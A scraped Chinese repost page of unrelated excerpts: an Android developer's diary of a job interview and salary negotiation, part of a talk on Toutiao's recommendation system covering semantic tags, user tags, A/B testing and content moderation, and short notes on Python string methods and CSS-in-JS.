我这里 有一百条数据，这一百条是无序的，包含了 10种 item类型，你有没有什么好方法 去处理这个问题， 小姑娘说，你不是定义了类型吗，我们就是 通过type 去判断的。 Android 小姑娘问： onAttch onDetach还是onAttachedToWindow，onDetachedFromWindow Ｊ哥回答：其实 那个小姑娘忘记这两个方法了。我说什么方法，她说onAttachIntent() 和 onDetachIntent(). 反正 J哥是没听说过， 我只见过 onAttach ,但是 这个方法 我也没用过。我就问她，这两个方法是做什么的，小姑娘跟我说 是 把子view绑定到界面上的，那么的话 应该是onAttachedToWindow，onDetachedFromWindow方法了，小姑娘说： 在这个方法 可以计算子 view的高度宽度，在 oncreate 里面不能计算，其实虽然刚开始 在oncreate里面是不能计算，但是还是有方法计算的，（本人觉得面试 问你 API 是 最2的了，忍不住吐槽下，我遇到过，Camera 拍照，问我获取 一个图片，还是 视频的 方法，我去百度 一下，随便就知道，真是不懂 为什么会问方法。随便一个程序员 都会百度。。） 跟小姑娘聊得其他问题 不太记得了，感觉这个女程序员啊。。就问方法 给我的印象不太好，不管方法用没用到，我觉得面试 直接问你方法 好2 好2... 然后技术总监 有进来跟我聊了，后技术总监 有进来跟我聊了、技术总监 年龄30出头吧，到是没有问我什么技术问题， 总监： 问我 做没做过通信这块，能不能做这一块。 Ｊ哥回答：，我说做过，通信有几种协议的，我们用的 是xmpp协议的 ，服务器 是 基于apache的 openfire 搭建的，客户端 是用的asmack。还有一些 其他协议的 ，比如我知道有些项目中用的 soap协议的，还有ip 协议的。ＰＳ：反正就是扯 我说　通信　客户端这一块　我没问题，但是　服务端　我　从工作以来　一直偏向　ａｎｄｒｏｉｄ　移动端开发，后台这一块，如果数据量大了，还要考虑并发之类的，我是做不了，让我做个ｔｏｍｃａｔ搭建的ｄｅｍｏ　我可能可以。 其他也是随便聊了下，然后　就说，让人事来跟我谈理想了。 总监： 问我 什么时候能上班 Ｊ哥回答：我说 这个看公司需求啦。 其他也是随便聊了下，然后　就说，让人事来跟我谈理想了。 这里　感觉应该没问题了。差不多能拿下了。 人事１：一进来，就问东问西。问加班看法啊，他们公司技术　一般都八九点走啊。说七点基本没有走的啊、、、 Ｊ哥回答：我说，一般遇到项目加功能　，版本升级，等等　这些加班都没什么，只要不是一直在加班。。。。这里每个人自己看法就好了、、 反正人事　是一直跟我强调这个，她不停强调　我就暗暗下决心，薪资　我是不会要低了。 人事１：看你还年轻啊，还能拼一拼啊、、、、 Ｊ哥回答：我说现在　这几年对我人生规划也算比较重要的时期，也是过一年少一年了，其实她的意思　还是侧面强调加班。。。。日了UZI了。 中间一堆废话，然后我问了她 公司一般上下班时间啊。。之类的有没有技术交流啊，之类的。。。 最后到关键问题上啦，最关心的，薪资问题。 人事１：期望薪资 Ｊ哥回答：我说16K左右吧。她问 你以前公司多少 握手 15K。她说她们公司 是 14薪。反正 我还是说16K。她说 那好，你等下，然后就出去了。 不知道 跟什么人 讨论了许久，然后又来一个 可能是人事吧。又进来，问了一遍，也问了薪资。。哥还是说16K 。 。。估计是她们公司想要我，但是又觉得有点超出她们薪资期望吧，当场被没有给什么offer。然后就有点婉拒的说，两天给我答复，心里很气愤，饿着肚子 面试到三点，竟然婉拒、、、 反正我是很生气，我说，好，然后我就走。结果，没过一个小时，人事又打电话来，非要约我 见一下她们CEO。这是什么鬼，难道她们CEO要给我煲汤 了？我说可以，然后时间定在后天了，，反正心灵鸡汤对我是没用了、 OK ，这家面试 先写到这里，下面下午还有一家，等下在写。准备睡觉。今天面试回来，累的就睡着了，晚上十点多才醒过来，想了想还是 把今天面试的过程总结一下。 ------------------------------待续------------------------- 第二弹http://blog.csdn.net/u011733020/article/details/46058273 本篇文章为转载内容。原文链接：https://blog.csdn.net/haluoluo211/article/details/51010955。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...之一就是为什么总推荐重复的内容。这个问题的难点在于，每个人对重复的定义不一样。 举个例子，有人觉得这篇讲皇马和巴萨的文章，昨天已经看过类似内容，今天还说这两个队那就是重复。 但对于一个重度球迷而言，尤其是巴萨的球迷，恨不得所有报道都看一遍。解决这一问题需要根据判断相似文章的主题、行文、主体等内容，根据这些特征做线上策略。 同样，还有时空特征，分析内容的发生地点以及时效性。比如武汉限行的事情推给北京用户可能就没有意义。 最后还要考虑质量相关特征，判断内容是否低俗，色情，是否是软文，鸡汤？ 上图是头条语义标签的特征和使用场景。他们之间层级不同，要求不同。 分类的目标是覆盖全面，希望每篇内容每段视频都有分类；而实体体系要求精准，相同名字或内容要能明确区分究竟指代哪一个人或物，但不用覆盖很全。 概念体系则负责解决比较精确又属于抽象概念的语义。这是我们最初的分类，实践中发现分类和概念在技术上能互用，后来统一用了一套技术架构。 目前，隐式语义特征已经可以很好的帮助推荐，而语义标签需要持续标注，新名词新概念不断出现，标注也要不断迭代。其做好的难度和资源投入要远大于隐式语义特征，那为什么还需要语义标签？ 有一些产品上的需要，比如频道需要有明确定义的分类内容和容易理解的文本标签体系。语义标签的效果是检查一个公司NLP技术水平的试金石。 今日头条推荐系统的线上分类采用典型的层次化文本分类算法。 最上面Root，下面第一层的分类是像科技、体育、财经、娱乐，体育这样的大类，再下面细分足球、篮球、乒乓球、网球、田径、游泳…，足球再细分国际足球、中国足球，中国足球又细分中甲、中超、国家队…，相比单独的分类器，利用层次化文本分类算法能更好地解决数据倾斜的问题。 有一些例外是，如果要提高召回，可以看到我们连接了一些飞线。这套架构通用，但根据不同的问题难度，每个元分类器可以异构，像有些分类SVM效果很好，有些要结合CNN，有些要结合RNN再处理一下。 上图是一个实体词识别算法的case。基于分词结果和词性标注选取候选，期间可能需要根据知识库做一些拼接，有些实体是几个词的组合，要确定哪几个词结合在一起能映射实体的描述。 如果结果映射多个实体还要通过词向量、topic分布甚至词频本身等去歧，最后计算一个相关性模型。 三、用户标签 内容分析和用户标签是推荐系统的两大基石。内容分析涉及到机器学习的内容多一些，相比而言，用户标签工程挑战更大。 今日头条常用的用户标签包括用户感兴趣的类别和主题、关键词、来源、基于兴趣的用户聚类以及各种垂直兴趣特征（车型，体育球队，股票等）。还有性别、年龄、地点等信息。 性别信息通过用户第三方社交账号登录得到。年龄信息通常由模型预测，通过机型、阅读时间分布等预估。 常驻地点来自用户授权访问位置信息，在位置信息的基础上通过传统聚类的方法拿到常驻点。 常驻点结合其他信息，可以推测用户的工作地点、出差地点、旅游地点。这些用户标签非常有助于推荐。 当然最简单的用户标签是浏览过的内容标签。但这里涉及到一些数据处理策略。 主要包括： 一、过滤噪声。通过停留时间短的点击，过滤标题党。 二、热点惩罚。对用户在一些热门文章（如前段时间PG One的新闻）上的动作做降权处理。理论上，传播范围较大的内容，置信度会下降。 三、时间衰减。用户兴趣会发生偏移，因此策略更偏向新的用户行为。因此，随着用户动作的增加，老的特征权重会随时间衰减，新动作贡献的特征权重会更大。 四、惩罚展现。如果一篇推荐给用户的文章没有被点击，相关特征（类别，关键词，来源）权重会被惩罚。当 然同时，也要考虑全局背景，是不是相关内容推送比较多，以及相关的关闭和dislike信号等。 用户标签挖掘总体比较简单，主要还是刚刚提到的工程挑战。头条用户标签第一版是批量计算框架，流程比较简单，每天抽取昨天的日活用户过去两个月的动作数据，在Hadoop集群上批量计算结果。 但问题在于，随着用户高速增长，兴趣模型种类和其他批量处理任务都在增加，涉及到的计算量太大。 2014年，批量处理任务几百万用户标签更新的Hadoop任务，当天完成已经开始勉强。集群计算资源紧张很容易影响其它工作，集中写入分布式存储系统的压力也开始增大，并且用户兴趣标签更新延迟越来越高。 面对这些挑战。2014年底今日头条上线了用户标签Storm集群流式计算系统。改成流式之后，只要有用户动作更新就更新标签，CPU代价比较小，可以节省80%的CPU时间，大大降低了计算资源开销。 同时，只需几十台机器就可以支撑每天数千万用户的兴趣模型更新，并且特征更新速度非常快，基本可以做到准实时。这套系统从上线一直使用至今。 当然，我们也发现并非所有用户标签都需要流式系统。像用户的性别、年龄、常驻地点这些信息，不需要实时重复计算，就仍然保留daily更新。 四、评估分析 上面介绍了推荐系统的整体架构，那么如何评估推荐效果好不好？ 有一句我认为非常有智慧的话，“一个事情没法评估就没法优化”。对推荐系统也是一样。 事实上，很多因素都会影响推荐效果。比如侯选集合变化，召回模块的改进或增加，推荐特征的增加，模型架构的改进在，算法参数的优化等等，不一一举例。 评估的意义就在于，很多优化最终可能是负向效果，并不是优化上线后效果就会改进。 全面的评估推荐系统，需要完备的评估体系、强大的实验平台以及易用的经验分析工具。 所谓完备的体系就是并非单一指标衡量，不能只看点击率或者停留时长等，需要综合评估。 很多公司算法做的不好，并非是工程师能力不够，而是需要一个强大的实验平台，还有便捷的实验分析工具，可以智能分析数据指标的置信度。 一个良好的评估体系建立需要遵循几个原则，首先是兼顾短期指标与长期指标。我在之前公司负责电商方向的时候观察到，很多策略调整短期内用户觉得新鲜，但是长期看其实没有任何助益。 其次，要兼顾用户指标和生态指标。既要为内容创作者提供价值，让他更有尊严的创作，也有义务满足用户，这两者要平衡。 还有广告主利益也要考虑，这是多方博弈和平衡的过程。 另外，要注意协同效应的影响。实验中严格的流量隔离很难做到，要注意外部效应。 强大的实验平台非常直接的优点是，当同时在线的实验比较多时，可以由平台自动分配流量，无需人工沟通，并且实验结束流量立即回收，提高管理效率。 这能帮助公司降低分析成本，加快算法迭代效应，使整个系统的算法优化工作能够快速往前推进。 这是头条A/B Test实验系统的基本原理。首先我们会做在离线状态下做好用户分桶，然后线上分配实验流量，将桶里用户打上标签，分给实验组。 举个例子，开一个10%流量的实验，两个实验组各5%，一个5%是基线，策略和线上大盘一样，另外一个是新的策略。 实验过程中用户动作会被搜集，基本上是准实时，每小时都可以看到。但因为小时数据有波动，通常是以天为时间节点来看。动作搜集后会有日志处理、分布式统计、写入数据库，非常便捷。 在这个系统下工程师只需要设置流量需求、实验时间、定义特殊过滤条件，自定义实验组ID。系统可以自动生成：实验数据对比、实验数据置信度、实验结论总结以及实验优化建议。 当然，只有实验平台是远远不够的。线上实验平台只能通过数据指标变化推测用户体验的变化，但数据指标和用户体验存在差异，很多指标不能完全量化。 很多改进仍然要通过人工分析，重大改进需要人工评估二次确认。 五、内容安全 最后要介绍今日头条在内容安全上的一些举措。头条现在已经是国内最大的内容创作与分发凭条，必须越来越重视社会责任和行业领导者的责任。如果1%的推荐内容出现问题，就会产生较大的影响。 现在，今日头条的内容主要来源于两部分，一是具有成熟内容生产能力的PGC平台 一是UGC用户内容，如问答、用户评论、微头条。这两部分内容需要通过统一的审核机制。如果是数量相对少的PGC内容，会直接进行风险审核，没有问题会大范围推荐。 UGC内容需要经过一个风险模型的过滤，有问题的会进入二次风险审核。审核通过后，内容会被真正进行推荐。这时如果收到一定量以上的评论或者举报负向反馈，还会再回到复审环节，有问题直接下架。 整个机制相对而言比较健全，作为行业领先者，在内容安全上，今日头条一直用最高的标准要求自己。 分享内容识别技术主要鉴黄模型，谩骂模型以及低俗模型。今日头条的低俗模型通过深度学习算法训练，样本库非常大，图片、文本同时分析。 这部分模型更注重召回率，准确率甚至可以牺牲一些。谩骂模型的样本库同样超过百万，召回率高达95%+，准确率80%+。如果用户经常出言不讳或者不当的评论，我们有一些惩罚机制。 泛低质识别涉及的情况非常多，像假新闻、黑稿、题文不符、标题党、内容质量低等等，这部分内容由机器理解是非常难的，需要大量反馈信息，包括其他样本信息比对。 目前低质模型的准确率和召回率都不是特别高，还需要结合人工复审，将阈值提高。目前最终的召回已达到95%，这部分其实还有非常多的工作可以做。别平台。 如果需要机器学习视频，可以在公众号后台聊天框回复【机器学习】，可以免费获取编程视频 。 你可能还喜欢 数学在机器学习中到底有多重要？ AI 新手学习路线，附上最详细的资源整理！ 提升机器学习数学基础，推荐7本书 酷爆了！围观2020年十大科技趋势 机器学习该如何入门，听听过来人的经验！ 长按加入T圈，接触人工智能 觉得内容还不错的话，给我点个“在看”呗 本篇文章为转载内容。原文链接：https://blog.csdn.net/itcodexy/article/details/109574173。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...探讨Python编程实践中关于字符串处理的其他关键议题。最近，Python 3.9版本引入了新的字符串方法removeprefix()和removesuffix()，这两个方法可以更高效地移除字符串开头或结尾的指定子串，提升了代码的简洁性和可读性。例如，在处理URL路径或者文件名时，常需要去除特定前缀或后缀，新方法提供了更为便捷的操作手段。 另外，对于大型应用中的字符串性能优化问题，推荐阅读关于Python内部字符串池（String Interning）机制的文章。Python为了提高内存效率，会自动将一些重复出现的字符串引用到同一内存地址，这与我们之前讨论过的is关键字用于字符串比较时的行为有关。深入理解这一机制，可以帮助开发者避免不必要的内存消耗，并优化程序性能。 此外，近期一篇关于安全编码的文章指出，在进行用户输入验证时，应当避免仅依赖in操作符来判断字符串是否包含敏感词汇，因为这种方式无法防止大小写混淆、边界空格等问题。提倡使用正则表达式或其他专用的安全过滤库，确保字符串匹配严格且全面，以提升应用安全性。 综上所述，掌握Python字符串相等性判断仅仅是字符串处理的基础，实际开发中还需要关注最新的语言特性、内存管理机制以及安全编码规范，才能编写出既高效又健壮的代码。

...护性和复用性。 样式重复引用问题 , 样式重复引用问题是CSS编写和管理中常见的一种现象，尤其在大型复杂的Web项目中尤为突出。当多个页面或模块引用了相同的CSS样式规则时，如果每处都单独编写相同的样式，会导致代码重复，增加文件体积，降低加载效率，并可能引发潜在的样式覆盖和维护困难等问题。通过合理的CSS模块化设计和引用机制，可以有效解决样式重复引用问题。 CSS-in-JS , CSS-in-JS是一种新兴的样式处理方案，它允许开发者直接在JavaScript中编写和操作CSS样式。这种技术打破了传统CSS与HTML分离的方式，使得样式能够根据运行时的状态动态生成和应用，增强了样式的灵活性和可编程性。CSS-in-JS不仅可以减少全局样式污染，实现按需加载，提高性能，还能更好地配合现代前端框架（如React、Vue等）进行组件化的开发实践，提高代码质量和开发效率。